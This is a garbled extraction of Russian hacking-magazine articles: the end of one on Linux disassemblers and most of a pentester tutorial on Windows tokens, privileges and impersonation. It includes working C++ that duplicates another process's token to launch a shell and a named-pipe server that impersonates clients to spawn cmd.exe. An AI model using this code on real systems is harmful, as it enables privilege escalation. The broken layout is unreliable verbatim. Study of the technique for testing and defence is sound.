в коман ды. Подоб ным обра зом ведет себя боль шинс тво прос тых дизас сем -
бле ров. Проб лемы могут воз никнуть в тот момент, ког да вмес то кода дизас -
сем блер встре тит дан ные. И, находясь в пол ном неведе нии, пре обра зует их
в ассем блер ные мне мони ки. Хуже того, ког да блок дан ных закон чится, дизас -
сем блер оста нет ся в рас син хро низо ван ном сос тоянии отно ситель но текуще го
кода. Хорошо хоть, что ско ро он все рав но вой дет в колею бла года ря спе цифи -
ке кода на плат форме x86.

Ина че ведут себя рекур сивные дизас сем бле ры. Они учи тыва ют поток
управле ния, дру гими сло вами, во вре мя ана лиза бинар ника они про гоня ют
прог рамму на собс твен ном вир туаль ном про цес соре, дизас сем бли руя код,
попада ющий ся на пути. Этот под ход показы вает в точ ности такой код, который
выпол няет ся физичес ким про цес сором. Безус ловно, этот метод поз воля ет
избе жать декоди рова ния дан ных, потому что про цес сор в здра вом уме их
не выпол няет!

К рекур сивным дизас сем бле рам отно сит ся мно го раз выручав шая нас IDA
Pro. Ког да она встре чает дан ные, она переда ет управле ние челове ку, потому
что вос ста нов ление пер воначаль ного вида дан ных оста ется нерешен ной тех -
ничес кой задачей. Речь идет о слож ных типах дан ных: о мас сивах, струк турах
и клас сах. Оди нокую перемен ную (или нес коль ко перемен ных) IDA рас кусит
без тру да и без помощи челове ка.

Меж ду тем рекур сивные дизас сем бле ры тоже могут стра дать дет ски ми
болез нями. Нап ример, не каж дый поток управле ния лег ко прос ледить. В силу
их ста тичес кой при роды дизас сем бле рам быва ет слож но обна ружить адре са
кос венных перехо дов или вызовов под прог рамм. Тог да в бой всту пают раз ные
эвристи чес кие механиз мы под кон крет ные ком пилято ры. Но это тема отдель -
ного раз говора.

В пос ледние годы в Linux осо бое мес то занима ют дизас сем бле ры
Radare2 и Ghidra. Оба пред став ляют собой бес плат ные про дук ты с откры тым
исходным кодом. Пер вый появил ся на свет в 2006 году, тог да еще в качес тве
дис кового редак тора. Сей час это мно гофун кци ональ ный инс тру мент хакера.
Ghidra — ори енти рован ный на спе цов дизас сем блер, раз работан ный
Агентством наци ональ ной безопас ности США и выпущен ный на прос торы
интерне та в 2019 году как ответ несок рушимой IDA Pro. Мы под робнее погово -
рим об этих инс тру мен тах в сле дующий раз.

WWW

А если тебе не тер пится поз накомить ся с эти ми
инс тру мен тами поб лиже пря мо сей час, обя -
затель но про читай статьи «

», «

» и «

».

Бит ва пот рошите лей.
Выбира ем луч ший редак тор для вскры тия
исполня емых фай лов Windows Ghidra vs IDA
Pro. На что спо собен бес плат ный тул кит
для ревер са, соз данный в АНБ Ghidra vs
crackme. Обка тыва ем кон курен та IDA Pro на при -
мере решения хит рой крэк ми с VM
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В сегод няшней статье мы рас смот рели доб ротный набор кодоко пате ля в Linux.
Этот набор име ется прак тичес ки в каж дом дис три бути ве, даже в таком user-
friendly, как Ubuntu. Кро ме того, мы поуп ражня лись с каж дым инс тру мен том
на дос таточ но эле мен тарных при мерах, что бы пер вые шаги кодоко пания
в новой сре де с неп ривыч ки не показа лись тебе черес чур слож ными. Меж ду
тем эти экспе римен ты поз волили нам почувс тво вать вкус отладки и дизас сем -
бли рова ния кода в Linux и оце нить их воз можнос ти на прак тике.
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ВЗЛОМ

Сис тема безопас ности Windows сос тоит
из мно гих инс тру мен тов, один
из которых — токены аутен тифика ции.
В этой статье мы научим ся работать
с токена ми и при виле гиями и про водить
имперсо нацию поль зовате лей Windows.

Для начала давай запом ним нес коль ко тер минов — ско ро они нам при годят ся.
Кон текст поль зовате ля (user context), он же кон текст безопас ности (security
context), — набор уни каль ных отли читель ных приз наков поль зовате ля, слу -
жащий для кон тро ля дос тупа. Сис тема хра нит све дения о кон тек сте в токене
(его так же называ ют мар кером дос тупа). Рас смот рим их чуть более под робно.

SID È ÒÎÊÅÍÛ

При вхо де в сис тему любой поль зователь вво дит свой логин и пароль. Затем,
если под клю чена домен ная учет ная запись, эти дан ные све ряют ся с хра нили -
щем учет ных записей Active Directory на кон трол лере домена, которое называ -
ется , либо с базой дан ных локаль ного компь юте ра — SAM.ntds.dit

Ес ли пароль вер ный, сис тема начина ет собирать све дения об учет ной
записи. В слу чае Active Directory так же собира ется информа ция уров ня домена
(нап ример, домен ные груп пы). И незави симо от типа УЗ находят ся све дения,
отно сящи еся к локаль ной сис теме, в том чис ле перечень локаль ных групп,
в которых сос тоит поль зователь. Все эти дан ные помеща ются в спе циаль ную
струк туру, хра нящу юся в объ екте ядра, который называ ется токеном дос тупа.

В сис темах Windows у мно гих объ ектов — груп пы, домена, поль зовате ля —
сущес тву ет спе циаль ный иден тифика тор безопас ности, SID (Security Identier).
Он име ет вот такой фор мат:

S-R-I-S-S

В этой записи:
 озна чает, что пос ледова тель ность чисел пред став ляет собой иден тифика -

тор безопас ности;
• S

 — номер вер сии SID;• R

 — чис ло, пред став ляющее упол номочен ный орган (authority), который
соз дал или выдал SID;

• I

 — чис ло, пред став ляющее вто рой упол номочен ный орган (subauthority).
Так же содер жит внут ри себя RID (Relative Identier) — допол нитель ный
иден тифика тор, который исполь зует ся, что бы отли чить одно го поль зовате -
ля от дру гого;

• S

 — еще один упол номочен ный орган. SID может содер жать внут ри себя
любое количес тво упол номочен ных орга нов.

• S

Как выг лядит SID

При этом сущес тву ют и некото рые стан дар тные SID. Они перечис лены в 
. Такие иден тифика торы называ ются хорошо извес тны ми

(well known).

до -
кумен тации Microsoft

То кен же хра нит внут ри себя мно жес тво раз личных SID, сре ди которых мож -
но выделить основные:

SID поль зовате ля — иден тифици рует учет ную запись, для которой был соз -
дан токен;

•

SID групп — иден тифика торы групп, в которые вхо дит поль зователь;•
SID регис тра ции — уни каль ный SID, соз данный в момент аутен тифика ции.
Поз воля ет отли чить один сеанс от дру гого (если поль зователь нес коль ко
раз заходил в сис тему, то сис тема каж дый раз соз дает уни каль ный SID
регис тра ции).

•

Дос таточ но слож но, прав да ведь? Но мож но про вес ти прос тую ана логию.
Токен — кар точка сот рудни ка ком пании. SID поль зовате ля — имя на этой кар -
точке, SID груп пы — напеча тан ная дол жность. Сис тема смот рит на эту кар точку
каж дый раз, ког да мы начина ем с ней вза имо дей ство вать.

ÒÎÊÅÍ È ÏÐÎÖÅÑÑ

В Windows есть про цес сы, а есть потоки. Говоря прос тыми сло вами, это некие
объ екты, обла дающие собс твен ным вир туаль ным адресным прос транс твом.
Потоком называ ют ход выпол нения прог раммы. Поток выпол няет ся в рам ках
вла деюще го им про цес са, или, как говорят, в кон тек сте про цес са. Любое
запущен ное при ложе ние пред став ляет собой про цесс, в кон тек сте которо го
выпол няет ся по край ней мере один поток.

У про цес са есть токен. Чаще все го исполь зует ся токен поль зовате ля,
запус тивше го про цесс. Ког да про цесс порож дает дру гие про цес сы, все они
исполь зуют этот же токен.

До чер ние про цес сы име ют тот же токен

Ес ли нам тре бует ся выпол нить одну задачу с токеном одно го поль зовате ля,
а дру гую с токеном дру гого поль зовате ля, запус кать новый про цесс как-то
не очень удоб но. Поэто му токен мож но при менить и к опре делен ному потоку
про цес са.

ÏÐÈÑÒÓÏÀÅÌ Ê ÐÀÁÎÒÅ

Ïîëó÷àåì òîêåí

Су щес тву ет нес коль ко фун кций для получе ния токена. Для работы с про цес -
сами и потока ми мож но исполь зовать сле дующие вари анты.

 получить токен опре делен ного про цес са.Âà ðèàíò 1:

 BOOL OpenProcessToken(
     [in] HANDLE ProcessHandle,
      [in] DWORD DesiredAccess,
   [out] PHANDLE TokenHandle

);

 получить токен опре делен ного потока.Âà ðèàíò 2:

 BOOL OpenThreadToken(
     [in] HANDLE ThreadHandle,
      [in] DWORD DesiredAccess,
       [in] BOOL OpenAsSelf,
   [out] PHANDLE TokenHandle

);

Пе репи сывать MSDN и объ яснять каж дый параметр как-то неп равиль но. Если
вдруг ты нез наком с WinAPI, то можешь написать , ски ну матери ал для изу -
чения. Пред лагаю обра тить вни мание лишь на вто рой параметр —

.

мне

DesiredAccess
Здесь ты дол жен ука зать, какой тип дос тупа к токену хочешь получить.

Это зна чение пре обра зует ся в мас ку дос тупа, на осно ве которой Windows
опре деля ет, мож но выдавать токен или нель зя. WinAPI пре дос тавля ет
для такой мас ки некото рые .стан дар тные зна чения

Об рати вни мание, что прос то так засунуть  нель зя: сис -
тема баналь но не выдаст токен, так как в эту мас ку вхо дит
и , который тре бует наличие при виле гии

. Такой при виле гией обла дает лишь сис тема.

TOKEN_ALL_ACCESS

TOKEN_ADJUST_SESSIONID
SeTcbPrivilege

При этом дан ную ошиб ку допус кают очень час то. Нап ример, лишь в вер -
сии 4.7 инс тру мен та  был исправ лен этот недочет.Cobalt Strike

Ча ще все го для наших задач мы будем ука зывать при виле гию
, что бы исполь зовать фун кцию ,

которую мы раз берем поз же.

TOKEN_DUPLICATE DuplicateTokenEx()

 зап росить токен поль зовате ля, если мы зна ем его логин
и пароль.

Âà ðèàíò 3:

 BOOL LogonUserA(
   [in]           LPCSTR lpszUsername,
     [in, optional] LPCSTR lpszDomain,
     [in, optional] LPCSTR lpszPassword,
    [in]           DWORD dwLogonType,
    [in]           DWORD dwLogonProvider,
  [out]          PHANDLE phToken

);

Ïðîâåðêà íàëè÷èÿ ïðèâèëåãèè â òîêåíå

То кен так же содер жит информа цию о при виле гиях поль зовате ля. У самих при -
виле гий в Windows есть два пред став ления:

дру жес твен ное имя — имя, которое отоб ража ется в интерфей се Windows,
нап ример ;

•
Act as part of the operating system

прог рам мное имя — имя, которое исполь зуют при ложе ния, нап ример
.

•
SE_TCB_NAME

Для про вер ки мож но исполь зовать сле дующую фун кцию:

 BOOL PrivilegeCheck(
 [in]      HANDLE         ClientToken,
    [in, out] PPRIVILEGE_SET RequiredPrivileges,
      [out] LPBOOL         pfResult

);

Сам код может быть при мер но сле дующий (при нима ет токен, в котором надо
про верить наличие при виле гии, и ее имя. Допус тим, ):SE_DEBUG_NAME

     bool IsPrivilegeEnabled(HANDLE hToken, PCWSTR name) {
    PRIVILEGE_SET set{};
     set.PrivilegeCount = 1;
      

  
if (!::LookupPrivilegeValue(nullptr, name, &set.Privilege[0].

Luid)) return false;
    BOOL result;
        return ::PrivilegeCheck(hToken, &set, &result) && result;

}

Èçìåíåíèå èíôîðìàöèè òîêåíà

До пус тимые изме нения делят ся на две груп пы:
све дения, которые мож но изме нить;•
све дения, которые мож но задать.•

Для боль шинс тва ситу аций мож но вос поль зовать ся этой фун кци ей:

 BOOL SetTokenInformation(
  [in] HANDLE                  TokenHandle,
   [in] TOKEN_INFORMATION_CLASS TokenInformationClass,
  [in] LPVOID                  TokenInformation,
  [in] DWORD                   TokenInformationLength

);

Ко неч но же, в токене воз можно изме нить далеко не все парамет ры. Ниже опи -
саны допус тимые клас сы информа ции для , а так же

при виле гии и мас ки дос тупа, которые для это го тре буют ся.

SetTokenInformation()

Что мож но изме нить

Нап ример, что бы вклю чить вир туали зацию UAC, исполь зуй сле дующий код:

// hProcess имеет PROCESS_QUERY_INFORMATION
 HANDLE hToken;

  OpenProcessToken(hProcess, TOKEN_ADJUST_DEFAULT, &hToken);
   ULONG enable = 1;

  SetTokenInformation(hToken, TokenVirtualizationEnabled,&enable,
sizeof(enable));

При этом мы можем изме нить и при виле гии, содер жащи еся в токене! Но тре -
бует ся знать, как получить из прог рам мно го име ни при виле гии ее LUID.
Это поз воля ет сде лать сле дующая фун кция:

 BOOL LookupPrivilegeValueA(
    [in, optional] LPCSTR lpSystemName,
  [in]           LPCSTR lpName,
   [out]          PLUID lpLuid

);

Сле дующим шагом мы дол жны выз вать :AdjustTokenPrivilege()

 BOOL AdjustTokenPrivileges(
 [in]            HANDLE            TokenHandle,
 [in]            BOOL              DisableAllPrivileges,
     [in, optional] PTOKEN_PRIVILEGES NewState,
 [in]            DWORD             BufferLength,
    [out, optional] PTOKEN_PRIVILEGES PreviousState,
   [out, optional] PDWORD            ReturnLength

);

Эта фун кция может как вклю чить при виле гии, так и отклю чить их. Не знаю,
почему Microsoft не реали зова ла что-нибудь подоб ное:

      
 

BOOL EnableTokenPrivilege(HANDLE hToken, LPTSTR szPriv, BOOL
bEnabled) {
    TOKEN_PRIVILEGES tp;
    LUID luid;
      BOOL bRet = FALSE;

    __try {
       // Ищем уникальный для системы LUID привилегии

    
 

       if (!LookupPrivilegeValue(NULL, szPriv /*SE_DEBUG_NAME*/,
&luid)) {
           // Если имя фиктивное
           __leave;
       }
       // Создаем массив привилегий нашего маркера (в данном 

случае массив из одного элемента)
         tp.PrivilegeCount = 1;

         tp.Privileges[0].Luid = luid;
    

  
       tp.Privileges[0].Attributes = bEnabled ?

SE_PRIVILEGE_ENABLED : 0;

       // Изменяем состояние привилегий маркера, включая или 
отключая привилегии из нашего массива

    
   

       if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(
TOKEN_PRIVILEGES), NULL, NULL)) {
           __leave;
       }

         bRet = TRUE;
   }
    __finally {};
   return(bRet);

}

Этой фун кции тре бует ся передать токен, прог рам мное имя при виле гии
и булево зна чение,  или , то есть вклю чить при виле гию или вык -

лючить ее. При этом токен дол жен иметь мас ку .

TRUE FALSE
TOKEN_ADJUST_PRIVILEGES

ÂÛÏÎËÍÅÍÈÅ ÊÎÄÀ Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ ÒÎÊÅÍÀ

Ча ще все го про цесс исполь зования получен ного токена начина ется с вызова
фун кции :DuplicateTokenEx()

 BOOL DuplicateTokenEx(
 [in]           HANDLE                       hExistingToken,
 [in]           DWORD                        dwDesiredAccess,
   [in, optional] LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  [in]           SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
 [in]           TOKEN_TYPE                   TokenType,
 [out]          PHANDLE                      phNewToken

);

Она прос то соз дает новый токен, который дуб лиру ет ранее получен ный.
При этом мы дол жны переда вать токен, который был зап рошен с мас кой

. В  ты дол жен ука зать новую мас ку дос -

тупа. Допус кает ся исполь зовать пре доп ределен ные зна чения из 
.

TOKEN_DUPLICATE dwDesiredAccess
до кумен тации

Microsoft
И вновь может воз никнуть путани ца с . Это дей стви -

тель но уро вень имперсо нации, то есть он опре деля ет, нас коль ко токен может
оли цет ворять объ ект. Сущес тву ют сле дующие вари анты:

ImpersonationLevel

 — токен с таким уров нем перевоп лощения не может
быть исполь зован для соз дания про цес са, заимс тву юще го пра ва. Ано ним -
ный уро вень под держи вает ся толь ко для меж про цес сно го вза имо дей ствия
(нап ример, для име нован ных каналов). Все осталь ные спо собы прос то
повыша ют его до ;

• SecurityAnonymous

SecurityIdentification

 — может быть исполь зован для иден тифика -
ции (мож но будет узнать поль зовате ля и груп пу, ACL поль зовате ля),
но НЕЛЬ ЗЯ будет при менять для имперсо нации или в вызовах

,  и подоб ных;

• SecurityIdentification

CreateProcessAsUser() CreateProcessWithTokenW()

 — пол нофун кци ональ ный мар кер, с помощью
которо го мож но оли цет ворять кого-либо в локаль ной сис теме, но нель зя
оли цет ворять в уда лен ных сис темах;

• SecurityImpersonation

 — мар кер может оли цет ворять кли ента в уда лен -
ных сис темах. Самый мощ ный уро вень.

• SecurityDelegation

Ñîçäàíèå ïðîöåññà

Сле дующим шагом идет вызов . Эта фун кция

соз дает про цесс, а затем при вязы вает к нему ука зан ный токен:

CreateProcessWithTokenW()

 BOOL CreateProcessWithTokenW(
 [in]                HANDLE                hToken,
 [in]                DWORD                 dwLogonFlags,
  [in, optional]      LPCWSTR               lpApplicationName,
    [in, out, optional] LPWSTR                lpCommandLine,
 [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCWSTR               lpCurrentDirectory,
 [in]                LPSTARTUPINFOW        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation

);

Единс твен ный минус — у тебя дол жна быть при виле гия
, в про тив ном слу чае вызов обер нется ошиб кой.

Однажды, ког да мне тре бова лось повысить пра ва в сис теме и име лась учет ная
запись с этой при виле гией, я нашел сле дующий код:

SeImpersonatePrivilege

#include <windows.h>
#include <iostream>

      int main(int argc, char * argv[]) {
    char a;
    HANDLE processHandle;
      HANDLE tokenHandle = NULL;
      HANDLE duplicateTokenHandle = NULL;
    STARTUPINFO startupInfo;
    PROCESS_INFORMATION processInformation;
      DWORD PID_TO_IMPERSONATE = 3060;
      wchar_t cmdline[] = L"C:\\shell.cmd";
    ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
     startupInfo.cb = sizeof(STARTUPINFO);

       processHandle = OpenProcess(PROCESS_ALL_ACCESS, true,
PID_TO_IMPERSONATE);
     OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle

);
      

  
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL,

SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    

       
CreateProcessWithTokenW(duplicateTokenHandle,

LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupInfo, &
processInformation);

     std::cin >> a;

   // CloseHandle() опустил

    return 0;
}

Смо жешь догадать ся, почему он не зарабо тал? Ошиб ка такая же, как и
у Cobalt Strike. Для успешной экс плу ата ции дос таточ но зап росить мас ку

 в вызове

.

TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY
OpenProcessToken()

Ïðèìåíåíèå ê ïîòîêó

Мож но при вязать токен и к опре делен ному потоку про цес са. Для это го сущес -
тву ет сле дующая фун кция:

 BOOL SetThreadToken(
    [in, optional] PHANDLE Thread,
     [in, optional] HANDLE Token

);

Нап ример:

    HANDLE hProcToken;
     OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &

hProcToken);
    HANDLE hImpToken;
     

  
DuplicateTokenEx(hProcToken, MAXIMUM_ALLOWED, nullptr,

SecurityIdentification, TokenImpersonation, &hImpToken);
   CloseHandle(hProcToken);
    SetThreadToken(nullptr, hImpToken);
   // Делаем что-нибудь
   RevertToSelf();
   CloseHandle(hImpToken);

Ес ли мы зна ем учет ные дан ные поль зовате ля, то мож но получить его токен
и работать с ним вот так:

 HANDLE hToken;

   
   

LogonUser(L"alice", L".", L"alicesecretpassword",
LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &hToken); // 
Получаем токен пользователя

ImpersonateLoggedOnUser(hToken);
   // Выполняем задачи от лица пользователя alice

 RevertToSelf(); // Возвращаем исходный контекст

CloseHandle(hToken)

ÇÀÈÌÑÒÂÎÂÀÍÈÅ ÏÐÀÂ ÏÎÄÊËÞ×ÅÍÍÎÃÎ ÏÎËÜÇÎÂÀÒÅËß

Áåç óñòàíîâëåíèÿ ñîåäèíåíèÿ

Для заимс тво вания прав под клю чен ного поль зовате ля может слу жить фун кция
, которую мы уже рас смот рели, либо

:

ImpersonateLoggedOnUser()
ImpersonateSelf()

 BOOL ImpersonateSelf(
   [in] SECURITY_IMPERSONATION_LEVEL ImpersonationLevel

);

Она про дуб лиру ет токен нашего про цес са, соз даст новый с ука зан ным типом
имперсо нации и свя жет его с вызыва ющим потоком.

Èìåíîâàííûå êàíàëû

Су щес тву ет воз можность имперсо нации кли ента пай па:

 BOOL ImpersonateNamedPipeClient(
   [in] HANDLE hNamedPipe

);

Но обра ти вни мание, что для вызова этой фун кции пот ребу ется при виле гия
. Так же мы получим токен с уров нем имперсо нации

мень шим, чем , нап ример 

или , поэто му необ ходимо будет выз вать
.

SeImpersonatePrivilege
SecurityImpersonation SecurityIdentification

SecurityAnonymous
DuplicateTokenEx()

#include <Windows.h>
#include <iostream>

  int main() {
      LPCWSTR pipeName = L"\\\\.\\pipe\\pipename";
      LPVOID pipeBuffer = NULL;
    HANDLE serverPipe;
      DWORD readBytes = 0;
      DWORD readBuffer = 0;
      int err = 0;
    BOOL isPipeConnected;
    BOOL isPipeOpen;
      DWORD bytesWritten = 0;

         std::wcout << "Creating named pipe " << pipeName << std::endl;
       

     
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX,

PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

      isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
     if (isPipeConnected) {

             std::wcout << "Incoming connection to " << pipeName << std
::endl;
   }

       std::wcout << "Impersonating the client..." << std::endl;
   ImpersonateNamedPipeClient(serverPipe);
     err = GetLastError();

      STARTUPINFO si = {};
      wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe";
      PROCESS_INFORMATION pi = {};
      HANDLE threadToken = GetCurrentThreadToken();
     

      
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE,

command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    return 0;
}
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Ес ли нам тре бует ся про вес ти имперсо нацию кли ента, с которым мы вза имо -
дей ству ем, то мож но исполь зовать SSP (Security Support Prodiver). Самые
популяр ные средс тва из этой катего рии в Windows — NTLMSSP и Kerberos.
Для прог рамми рова ния с SSP исполь зует ся SSPI (Security Support Provider
Interface). Он соз дает так называ емые бло бы ( ) — пакеты дан -

ных, которые переда ются кли ентом сер веру и в обратном нап равле нии.

security blobs

SSP поз воля ет нам выс тро ить кон текст. С помощью выс тро енно го кон тек -
ста мы смо жем получить токен.

Íà÷àëî ðàáîòû

Сна чала сле дует перечис лить все дос тупные для текуще го хос та SSP. Это мож -
но сде лать с помощью сле дующей фун кции:

  SECURITY_STATUS SEC_ENTRY EnumerateSecurityPackagesA(
    [in] unsigned long *pcPackages,
    [in] PSecPkgInfoA *ppPackageInfo

);

Нап ример:

#define SECURITY_WIN32
#include <windows.h>
#include <stdio.h>
#include <sspi.h>

#pragma comment (lib, "Secur32.lib")

  int main() {
      ULONG pcPackages = 0;
      SecPkgInfo* secPkgInfo = NULL;
    SECURITY_STATUS status;
      status = EnumerateSecurityPackages(&pcPackages, &secPkgInfo);

       if (status != SEC_E_OK) {
       wprintf(L"Security function failed with error: %i\n",

status);
   }
            for (ULONG i = 0; i < pcPackages; i++) {

        wprintf(L"%ws\n", secPkgInfo[i].Name);
   }
    return 0;

}

В  содер жится количес тво про токо лов защиты, которые были
получе ны, а  будет содер жать под робную информа цию. Он

явля ется экзем пля ром струк туры , при этом сама струк тура выг -

лядит вот так:

pcPackages
ppPackageInfo

SecPkgInfo

   typedef struct _SecPkgInfoA {
    unsigned long fCapabilities;
   unsigned short wVersion;
   unsigned short wRPCID;
    unsigned long cbMaxToken;
  SEC_CHAR       *Name; // Название
 SEC_CHAR       *Comment;
  } SecPkgInfoA, *PSecPkgInfoA;

Продолжение статьи →

mailto:michael.zhmailo@yandex.ru
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
https://t.me/cXestXlaXvie
https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects
https://www.cobaltstrike.com/blog/cobalt-strike-4-7-the-10th-anniversary-edition/
https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects


СВИН API
ИЗУЧАЕМ ВОЗМОЖНОСТИ WINAPI

ДЛЯ ПЕНТЕСТЕРА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Да лее тре бует ся получить собс твен ные рек визиты для SSP и опре делить ся
с про токо лом защиты. В этом поможет сле дующая фун кция:

  SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(
   _In_ SEC_CHAR       *pszPrincipal,
   _In_ SEC_CHAR       *pszPackage,
   _In_ ULONG          fCredentialUse,
   _In_ PLUID          pvLogonID,
   _In_ PVOID          pAuthData,
    _In_ SEC_GET_KEY_FN pGetKeyFn,
   _In_ PVOID          pvGetKeyArgument,
      _Out_ PCredHandle phCredential,
       _Out_ PTimeStamp ptsExpiry

);

Нап ример:

#define SECURITY_WIN32
#include <windows.h>
#include <stdio.h>
#include <sspi.h>

#pragma comment (lib, "Secur32.lib")

  int main() {
      ULONG pcPackages = 0;
      SecPkgInfo* secPkgInfo = NULL;
    SECURITY_STATUS status;
      status = EnumerateSecurityPackages(&pcPackages, &secPkgInfo);

       if (status != SEC_E_OK) {
       wprintf(L"Security function failed with error: %i\n",

status);
   }
            for (ULONG i = 0; i < pcPackages; i++) {

        wprintf(L"%d - %ws\n", i,secPkgInfo[i].Name);
   }
   printf("Which would u like? ");
      int numberOfSSP = 0;
    scanf_s("%d", &numberOfSSP);

    CredHandle hCredentials;
    TimeStamp tsExpires;
      

       
status = AcquireCredentialsHandle(NULL, secPkgInfo[numberOfSSP

].Name, SECPKG_CRED_BOTH, NULL, NULL, NULL, NULL, &hCredentials, &
tsExpires);
       if (status != SEC_E_OK) {
       wprintf(L"ERROR");
   }
    else {
       wprintf(L"SUCCESS, lets authenticate!");
       // Код для аутентификации
   }
    return 0;

}

В  ука зывай имя объ екта, для которо го мы получа ем рек визиты.
 будет озна чать, что нам тре буют ся рек визиты для токена текуще го

потока. В  мы про писы ваем про токол защиты, который будем

исполь зовать. Мож но ука зать параметр  из струк туры  (смот ри
фун кцию выше). Либо воз можны сле дующие вари анты:

pszPrincipal
NULL

pszPackage
Name SecPkgInfo

 — ком понент UNISP_NAME для SSL;• SChannel

 — ком понент NEGOSSP_NAMEдля Negotiate (исполь зует ся

самый под ходящий в текущей ситу ации про токол (или NTLM, или Kerberos,
как про исхо дит выбор, опи сано в );

• Negotiate

до кумен тации
 — ком понент NTLMSP_NAME для NTLM;• NTLM

 — ком понент MICROSOFT_KERBEROS_NAME для Kerberos.• Kerberos

Ðîëü êëèåíòà

В про цес се аутен тифика ции кли ент и сер вер ведут себя по-раз ному, поэто му
нач нем с раз бора того, что дела ет кли ент.

Пер вым делом кли ент ини циирует исхо дящий кон текст безопас ности
из дес крип тора учет ных дан ных, получен ных в резуль тате вызова фун кции

. Обыч но эта фун кция вызыва ется в цик ле

до тех пор, пока не будет уста нов лен дос таточ ный кон текст безопас ности.

AcquireCredentialsHandle()

  SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(
      [in, optional]      PCredHandle phCredential,
      [in, optional]      PCtxtHandle phContext,
                     SEC_CHAR       *pszTargetName,
    [in]                unsigned long fContextReq,
    [in]                unsigned long Reserved1,
    [in]                unsigned long TargetDataRep,
   [in, optional]      PSecBufferDesc pInput,
    [in]                unsigned long Reserved2,
        [in, out, optional] PCtxtHandle phNewContext,
     [in, out, optional] PSecBufferDesc pOutput,
    [out]               unsigned long *pfContextAttr,
            [out, optional] PTimeStamp ptsExpiry

);

Про цесс пос ледова тель ных вызовов ука зан ной фун кции име ет сле дующие
осо бен ности:

па раметр  дол жен ука зывать на перемен ную, которая содер жит
хендл кон тек ста, получен ный через параметр ;

• phContext

phNewContext

при пос ледова тель ных обра щени ях к этой фун кции игно риру ется параметр
;

•
pszTargetName

мы будем переда вать фун кции  бло бы,
получен ные от сер вера парамет ром ;

• InitializeSecurityContext()

pInput

тре бова ния к кон тек сту со сто роны сер вера воз вра щают ся парамет ром
, и их надо про верять, что бы они не про тиво речи ли пот -

ребнос тям кли ента.

•
pfContextAttr

Пос ледова тель ность вызовов сто ит выпол нять, ана лизи руя воз вра щаемое зна -
чение фун кции. Если она вер нула , то кли ент вновь

дол жен ее выз вать. Воз врат  озна чает, что кон текст удач но пос тро ен.

SEC_I_CONTINUE_NEEDED
SEC_E_OK

При этом дан ная фун кция не вер нет управле ние до тех пор, пока сер вер,
к которо му кон нектят ся, не вызовет .AcceptSecurityContext()

Для работы с бло бами исполь зуют ся вход ные и выход ные буферы. При их
исполь зовании тре бует ся соз дать мас сив перемен ных , которые

дол жны ука зывать на выделен ные нами буферы памяти. Затем мы прис -
ваиваем адрес это го мас сива экзем пля ру типа . Он ука зыва ет,
сколь ко буферов содер жится в мас сиве.

SecBuffer

SecBufferDesc

   typedef struct _SecBufferDesc {
    unsigned long ulVersion; // Здесь указываем SECBUFFER_VERSION
   unsigned long cBuffers;
     PSecBuffer pBuffers;
  } SecBufferDesc, *PSecBufferDesc;

   typedef struct _SecBuffer {
    unsigned long cbBuffer; // Размер блока памяти, на который 

указывает pvBuffer
   unsigned long BufferType;
    void SEC_FAR *pvBuffer;
  } SecBuffer, *PSecBuffer;

Что бы сис тема сама выдели ла мес то под эти буферы, в вызове фун кции
 в парамет ре  тре бует ся ука зать

.

InitializeSecurityContext() fContextReq
ISC_REQ_ALLOCATE_MEMORY

На конец, ито говая фун кция на кли енте будет выг лядеть сле дующим обра -
зом:

    
     

BOOL ClientHandshakeAuth(CredHandle* phCredentials, PULONG
plAttrbibutes, CtxtHandle* phContext, PTSTR pszServer) {
      BOOL fSuccess = FALSE;
    __try {

        SECURITY_STATUS ss;
       // Объявляем входной и выходной буфер

        SecBuffer secBufferOut[1];
        SecBufferDesc secBufDescriptorOut;

        SecBuffer secBufferIn[1];
        SecBufferDesc secBufferDescriptorIn;

       // Устанавливаем информацию о состоянии цикла
          BOOL fFirstPass = TRUE;

         ss = SEC_I_CONTINUE_NEEDED;
           while (ss == SEC_I_CONTINUE_NEEDED) {

           // Указатель на входной блоб
              PBYTE pbData = NULL;

              if (fFirstPass) { // Первый проход, входных буферов 
еще нет

                 secBufferDescriptorIn.cBuffers = 0;
                 secBufferDescriptorIn.pBuffers = NULL;
                 secBufferDescriptorIn.ulVersion =

SECBUFFER_VERSION;
           }

             else { // Последовательные проходы
               // Получение размера блоба

                  ULONG lSize = 0;
                  ULONG lTempSize = sizeof(lSize);

                 ReceiveData(&lSize, &lTempSize); // Узнаем размер 
данных

                 pbData = (PBYTE)malloc(lSize);
                 ReceiveData(pbData, &lSize); // Получаем блоб

               // Входной буфер указывает на блоб
                 secBufferIn[0].BufferType = SECBUFFER_TOKEN;

                 secBufferIn[0].cbBuffer = lSize;
                 secBufferIn[0].pvBuffer = pbData;

               // Входной BufDesc указывает на входной буфер
